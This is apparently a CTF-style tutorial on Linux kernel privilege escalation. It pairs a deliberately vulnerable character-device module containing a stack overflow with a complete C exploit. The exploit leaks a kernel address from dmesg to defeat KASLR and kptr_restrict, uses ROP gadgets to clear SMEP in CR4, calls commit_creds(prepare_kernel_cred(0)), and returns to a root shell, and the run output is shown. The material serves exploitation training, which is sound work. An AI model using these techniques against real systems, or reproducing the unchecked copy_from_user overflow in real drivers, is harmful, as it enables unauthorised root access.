Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric

Background


Before to get into a genuine exploitation of a kernel vulnerable module, let's see which protections we need to bypass.

SMEP

SMEP stands for Supervisor Mode Execution Protection.
This kernel protection doesn't allow a user space code to be executed by the kernel. To check if SMEP is activated, we can simply read /proc/cpuinfo :

~$ cat /proc/cpuinfo  
...
flags       : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl eagerfpu pni cx16 hypervisor smep  
...

SMEP is the 20th bit of the CR4 register:

KASLR

KASLR stands for Kernel Address Space Layout Randomization.
It aims to make some kernel exploits more difficult to implement by randomizing the base address value of the kernel. (boot time)
Exploits that rely on the locations of internal kernel symbols must discover the randomized base address.

Kernel Address Display Restriction

kptr_ restrict indicates if restrictions are placed on exposing kernel addresses via /proc and other interfaces.

  • 0, the default, there are no restrictions.
  • 1, kernel pointers printed using the %pK format specifier will be replaced with 0's unless the user has CAP_ SYSLOG
  • 2, kernel pointers printed using %pK will be replaced with 0's regardless of privileges.

In other words, we can't get commit_creds addr just by reading the /proc/kallsyms:

~$ cat /proc/kallsyms | grep commit_creds  
0000000000000000 T commit_creds  
...

Privilege escalation

As always, our goal is to get the top privilege and for that, we just need to execute the following :

commit_ creds(prepare_ kernel_ cred(0));

Get back to userland

Even if we can bypass SMEP, we can't just try to execute /bin/sh in our user code. We need to go back to user land correctly.

This can be done with two gadgets :

  • swapgs
  • iretq

Followed by this structure :

  • the next RIP
  • user land CS
  • user land EFLAGS
  • user land RSP
  • user land SS


Exploitation


If you want to test or practice the following exploitation, you can download all the files needed from our github.

Vulnerable module

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h> 

static dev_t first; // Global variable for the first device number  
static struct cdev c_dev; // Global variable for the character device structure  
static struct class *cl; // Global variable for the device class  
static char *buffer_var;

static int vuln_open(struct inode *i, struct file *f)  
{
  printk(KERN_INFO "[i] Module vuln: open()\n");
  return 0;
}

static int vuln_close(struct inode *i, struct file *f)  
{
  printk(KERN_INFO "[i] Module vuln: close()\n");
  return 0;
}

static ssize_t vuln_read(struct file *f, char __user *buf, size_t len, loff_t *off)  
{
  if(strlen(buffer_var)>0) {
    printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
    kfree(buffer_var);
    buffer_var=kmalloc(100,GFP_DMA);
    return 0;
  } else {
    return 1;
  }
}

static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)  
{
  char buffer[100]={0};

  if (_copy_from_user(buffer, buf, len))
    return -EFAULT;
  buffer[len-1]='\0';

  printk("[i] Module vuln write: %s\n", buffer);

  strncpy(buffer_var,buffer,len);

  return len;
}

static struct file_operations pugs_fops =  
{
  .owner = THIS_MODULE,
  .open = vuln_open,
  .release = vuln_close,
  .write = vuln_write,
  .read = vuln_read
};

static int __init vuln_init(void) /* Constructor */  
{
  buffer_var=kmalloc(100,GFP_DMA);
  printk(KERN_INFO "[i] Module vuln registered");
  if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
  {
    return -1;
  }
  if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
  {
    unregister_chrdev_region(first, 1);
    return -1;
  }
  if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
  {
    printk(KERN_INFO "[i] Module vuln error");
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
  cdev_init(&c_dev, &pugs_fops);
  if (cdev_add(&c_dev, first, 1) == -1)
  {
    device_destroy(cl, first);
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }

  printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
  return 0;
}

static void __exit vuln_exit(void) /* Destructor */  
{
    unregister_chrdev_region(first, 3);
    printk(KERN_INFO "Module vuln unregistered");
}

module_init(vuln_init);  
module_exit(vuln_exit);

MODULE_LICENSE("GPL");  
MODULE_AUTHOR("blackndoor");  
MODULE_DESCRIPTION("Module vuln overflow");  

This really simple kernel module has a stack overflow in its function vuln_write().
The datas' lenght copied to the buffer variable isn't checked.

Analyse

~$ lsmod  
kmod 16384 0 - Live 0x0000000000000000 (O) <= kptr_ restrict  
~$ ls /dev
console  null     ttyS0    vuln  
~$ cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds <= kptr_ restrict  
~$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB > /dev/vuln  
[   28.965579] general protection fault: 0000 [#1] SMP
[   28.967297] Modules linked in: kmod(O)
[   28.968139] CPU: 0 PID: 109 Comm: sh Tainted: G           O    4.8.0 #5
[   28.968139] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   28.968139] task: ffff9f1fc2730000 task.stack: ffff9f1fc2770000
[   28.968139] RIP: 0010:[< 4242424242424242>]  [< 4242424242424242>] 0x4242424242424242
...
[   28.968139] CR2: 0000000000494b0a CR3: 000000000272f000 CR4: 00000000001006f0 <= SMEP
...
[   28.968139] Call Trace:
[   28.968139]  [< ffffffffbb0c2a00>] ? __init_waitqueue_head+0x10/0x20
...
(restarted)
~$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB > /dev/vuln  
[  112.990843] general protection fault: 0000 [#1] SMP
...
[  112.992198] Call Trace:
[  112.992198]  [< ffffffffba0c2a00>] ? __init_waitqueue_head+0x10/0x20 <= KASLR
...

In this analyse, we clearly see the protections (SMEP,KASLR and kptr_restrict)

Bypass SMEP

As explained before, SMEP doens't allow the user space code to be executed by the kernel, so even if we control RIP, we can't execute the user code right away : we can use a ROP exploit with kernel space addresses only or we can disable the SMEP's bit.

SMEP is the 20th bit of the CR4 register which in our case is equal to :
CR4: 00000000001006f0

If we can get CR4 to be equal to :
CR4: 00000000000006f0
SMEP will be disabled.

To do so, we can use two gadgets :

  • POP RDI; RET // place 00000000000006f0 in RDI
  • MOV CR4, RDI; RET // SMEP disbled !

Bypass KASLR and kptr_restrict

The goal of these bypasses is to find a kernel space address, and add to it an offset to retrieve the gadgets / address needed.
We found one usefull address in the result of the dmesg command :

~$ dmesg  
[    0.000000] Linux version 4.8.0 (root@pc1001) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) ) #5 SMP Sat Oct 8 10:01:18 CEST 2016
[    0.000000] Command line: console=ttyS0 loglevel=3 oops=panic panic=1
[    0.000000] KERNEL supported cpus:
[    0.000000]   Intel GenuineIntel
[    0.000000]   AMD AuthenticAMD
[    0.000000]   Centaur CentaurHauls
[    0.000000] x86/fpu: Legacy x87 FPU detected.
[    0.000000] x86/fpu: Using 'eager' FPU context switches.
[    0.000000] e820: BIOS-provided physical RAM map:
[    0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable
...
[    0.221392] Freeing SMP alternatives memory: 24K (ffffffffafea9000 - ffffffffafeaf000)
...

This is good but we still need to find offsets that we will add or substract to the adress we found in order to get gadgets (for instance "pop gadget" or commit_ creds address).
We need to find the same kernel as the one used in the exercice with KASLR OFF and kptr_restrict set to 0, to be able to find our offsets.

For this purpose, let's first see the kernel used by the system:

~$ uname -a  
Linux (none) 4.8.0 #5 SMP Sat Oct 8 10:01:18 CEST 2016 x86_ 64 GNU/Linux  

We download the kernel 4.8.0 from kernel.org and compile it with KASLR OFF.

Then, we disable kptr_ restric which is set in the 'init' file. To do so, we extract the file's structure from initramfs.img:

gzip -dcS .img initramfs.img | cpio -id

We comment the 13th line:

#!/bin/sh

chown root:root /root  
chown root:root /root/*  
chmod 600 /root/flag  
mknod -m 0666 /dev/null c 1 3  
mknod -m 0660 /dev/ttyS0 c 4 64

mount -t proc proc /proc  
mount -t sysfs sysfs /sys

# restriction kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict <= comment this line  
insmod /kmod.ko  
mknod /dev/vuln c 247 0  
chmod a+rw /dev/vuln

setsid cttyhack setuidgid 1000 sh

umount /proc  
umount /sys

poweroff -f

and we recreate the file's structure :

find . |cpio -H newc -o | gzip > ../initramfs.img

We can now extract gadgets with ROPgadget:

~$ ROPgadget --binary bzImage_KASLROFF | grep "pop rdi ; ret"  
...
0xffffffff810b33bd : pop rdi ; ret  
...

With the same kernel, we collect usefull addresses such as :

  • commit_ creds : ffffffff810a1cf0
  • preparekernelcred : ffffffff810a2060

The offset for the gadget "pop rdi" is :

popRDIret - prepare_ kernel_creds = 0x1135d

The offset was found with the kernel KASLR OFF, let's see if the offset is different with the kernel KASLR ON :

~$ cat /proc/kallsyms | grep prepare_kernel_cred  
ffffffffb90a21c0 T prepare_kernel_cred  
...
~$ cat /proc/kallsyms | grep commit_creds
ffffffffb90a1e50 T commit_creds  
...
(in another terminal)
...
(gdb) x/2i ffffffffb90a21c0+0x1135d
   0xffffffffb90b351d:  pop    rdi
   0xffffffffb90b351e:  ret

We can do the same to retrieve other gadgets such as:

  • mov
  • swapgs
  • iretq

Continuing with the kernel KASLR ON, we calculate the offset between the usefull address found in dmesg and prepare_ kernel_ cred / commit_ creds:

~$ dmesg  
...
[    0.208567] Freeing SMP alternatives memory: 24K (ffffffffb9ea9000 - ffffffffb9eaf000)
...
  • ffffffffb9ea9000 - ffffffffb90a1e50 = 0xe071b0 => commit_ creds_offset
  • ffffffffb9ea9000 - ffffffffb90a21c0 = 0xe06e40 => prepare_ kernel_ cred_ offset

We now have everythings to exploit, so we can set back the kptr_restric protection.

Exploit

The exploit is simple :

  • execute dmesg
  • find the usefull address
  • prepare the payload
  • trigger the vulnerablity

The payload has the following content:

  • offset before RIP
  • POP RDI; RET
  • MOV CR4, RDI; RET
  • commit_ creds(prepare_ kernel_ cred(0))
  • swapgs
  • iretq
  • safe strucure

Here is the final exploit:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>

struct cred;  
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));  
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));

prepare_kernel_cred_t   prepare_kernel_cred;  
commit_creds_t    commit_creds;

unsigned long user_cs;  
unsigned long user_ss;  
unsigned long user_rflags;  
unsigned long stack;

/*
  this function is needed to backup userland env
  these values are necessary just after the iretq calls
*/
static void save_state() {  
  asm(
  "movq %%cs, %0\n"
  "movq %%ss, %1\n"
  "pushfq\n"
  "popq %2\n"
  : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
}

/* function to get root id */
void getroot (void)  
{
  commit_creds(prepare_kernel_cred(0));
}

/*
  this function checks if we got the root id and pops a shell if we did
  the memory address of the function is placed in the ROP
*/
void shell(void) {  
  printf("[+] getuid() ...");
  if(!getuid()) {
    printf(" [root]\n[+] Enjoy your shell...\n");
    system("/bin/sh");
  } else {
    printf("[+] not root\n[+] failed !!!\n");
  }
}

/*
  This function tries to find the usefull addr needed for the expoit
*/
unsigned long findAddr() {  
  char line[512];
  char string[] = "Freeing SMP alternatives memory: 24K";
  char found[17];
  unsigned long addr=0;

  FILE* file = fopen("/tmp/dmesg", "r");

  while (fgets(line, sizeof(line), file)) {
    if(strstr(line,string)) {
      strncpy(found,line+53,16);
      sscanf(found,"%p",(void **)&addr);
      break;
    }
  }
  fclose(file);

  if(addr==0) {
    printf("    dmesg error...\n");
    exit(1);
  }

  return addr;
}

int main(int argc, char *argv[])  
{
  int fd;
  unsigned char payload[237] = {0};
  unsigned char *p           = payload;
  unsigned long memOffset;

/* execute dmesg and place result in a file */
  printf("[+] Excecute dmesg...\n");
  system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory    */
  printf("[+] Find usefull addr...\n");
  memOffset = findAddr();
  printf("    addr[0x%llx]\n", memOffset);

/* set value for commit_creds and prepare_kernel_cred */
  commit_creds        = (commit_creds_t)(memOffset - 0xe071b0);
  prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xe06e40);

/* open fd on /dev/vuln                             */
  printf("[+] Open vuln device...\n");
  if ((fd = open("/dev/vuln", O_RDWR)) < 0) {
    printf("    Can't open device file: /dev/vuln\n");
    exit(1);
  }

/* payload                          */
  printf("[+] Construct the payload...\n");
  save_state();
  /* offset before RIP                    */
  memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
  p+=116;
/* pop rdi ; ret                    */
  unsigned long poprdi = (unsigned long)prepare_kernel_cred+0x1135d;
  memcpy(p,&poprdi,8);
  printf("    pop RDI      at 0x%lx\n", poprdi);
  p+=8;
  memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF */
  p+=8;
/* mov cr4, rdi ; pop rbp ; ret     */
  unsigned long movcr4 = (unsigned long)prepare_kernel_cred-0x86880;
  memcpy(p,&movcr4,8);
  printf("    mov CR4, RDI at 0x%lx\n", movcr4);
  p+=8;
  memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
  p+=8;
/* getroot                        */
  unsigned long gr = (unsigned long)getroot;
  memcpy(p,&gr,8);
  p+=8;
/* swapgs; pop rbp; ret           */
  unsigned long swapgs = (unsigned long)prepare_kernel_cred-0x3dfbc;
  printf("    swapgs       at 0x%lx\n", swapgs);
  memcpy(p,&swapgs,8);
  p+=8;
  memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
  p+=8;
/* iretq                          */
  unsigned long iretq = (unsigned long)prepare_kernel_cred-0x61066;
  printf("    iretq        at 0x%lx\n", iretq);
  memcpy(p,&iretq,8);
  p+=8;
/*
    the stack should look like this after an iretq call
      RIP
      CS
      EFLAGS
      RSP
      SS
*/
/* shell                          */
  unsigned long sh = (unsigned long)shell;
  memcpy(p,&sh,8);
  p+=8;
/* user_cs                        */
  memcpy(p,&user_cs,8);
  p+=8;
/* user_rflags                    */
  memcpy(p,&user_rflags,8);
  p+=8;
/* stack of userspace             */
  register unsigned long rsp asm("rsp");
  unsigned long sp = (unsigned long)rsp;
  memcpy(p,&sp,8);
  p+=8;
/* user_ss                        */
  memcpy(p,&user_ss,8);

/* trig the vuln                  */
  printf("[+] Trig the vulnerablity...\n");
  write(fd, payload, 221);

  return 0;
}

Can I get root please:

~$ whoami  
blackbunny  
~$ cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds  
0000000000000000 R __ksymtab_commit_creds  
0000000000000000 r __kcrctab_commit_creds  
0000000000000000 r __kstrtab_commit_creds  
~$ /tmp/exploit
[+] Excecute dmesg...
[+] Find usefull addr...
    addr[0xffffffffbeea9000]
[+] Open vuln device...
[+] Construct the payload...
    pop RDI      at 0xffffffffbe0b351d
    mov CR4, RDI at 0xffffffffbe01b940
    swapgs       at 0xffffffffbe064204
    iretq        at 0xffffffffbe04115a
[+] Trig the vulnerablity...
[+] getuid() ... [root]
[+] Enjoy your shell...
~# whoami
root